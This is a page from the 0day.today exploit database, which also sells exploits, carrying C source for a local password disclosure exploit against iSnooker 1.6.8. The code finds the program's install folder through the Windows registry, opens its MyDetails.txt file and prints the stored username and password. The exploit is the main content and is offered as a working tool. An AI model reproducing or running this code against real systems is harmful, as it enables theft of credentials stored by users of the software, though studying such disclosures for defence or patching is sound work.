0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
iSnooker <= 1.6.8 Local Password Disclosure Exploit
=================================================== iSnooker <= 1.6.8 Local Password Disclosure Exploit =================================================== /***************************************************************** iSnooker <= v1.6.8 Local Password Disclosure Exploit by Kozan Application: iSnooker 1.6.8 Vendor: Memir Software - memirsoftware.com and The Snooker Club - thesnookerclub.com Vulnerable Description: iSnooker 1.6.8 discloses passwords to local users. Discovered & Coded by Kozan Credits to ATmaCA Web : www.netmagister.com Web2: www.spyinstructors.com Mail: kozan@netmagister.com *****************************************************************/ #include <stdio.h> #include <string.h> #include <windows.h> HKEY hKey; #define BUFSIZE 100 char prgfiles[BUFSIZE]; DWORD dwBufLen=BUFSIZE; LONG lRet; int main() { if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) { lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL, (LPBYTE) prgfiles, &dwBufLen); if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){ RegCloseKey(hKey); printf("An error occured. Can't get password!\n"); return -1; } RegCloseKey(hKey); } else { printf("An error occured. Can't get password!\n"); return -1; } printf("\n\niSnooker 1.6.8 Local Password Disclosure Exploit by Kozan\n"); printf("Credits to ATmaCA\n"); printf("kozan@netmagister.com\n"); printf("www.netmagister.com - www.spyinstructors.com\n\n"); char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE]; strcpy(pwdfile,strcat(prgfiles,"\\TheSnookerClub\\iSnooker\\MyDetails.txt")); int addr, i, y; FILE *fp; char ch[100], ch2[100]; if((fp=fopen(pwdfile,"rb")) == NULL) { printf("An error occured. Can't get password!\n"); return -1; } fseek(fp,0,0); for(i=0;i<30;i++) { ch[i]=getc(fp); if(ch[i]==0x0D) { ch[i]=NULL; strcpy(username,ch); break; } } addr = ftell(fp); fseek(fp,addr+1,0); for(y=0;y<30;y++) { ch2[y]=getc(fp); if(ch2[y]==0x0D) { ch2[y]=NULL; strcpy(password,ch2); break; } } fclose(fp); printf("Username : %s\n",username); printf("Password : %s\n",password); return 0; } # 0day.today [2024-07-05] #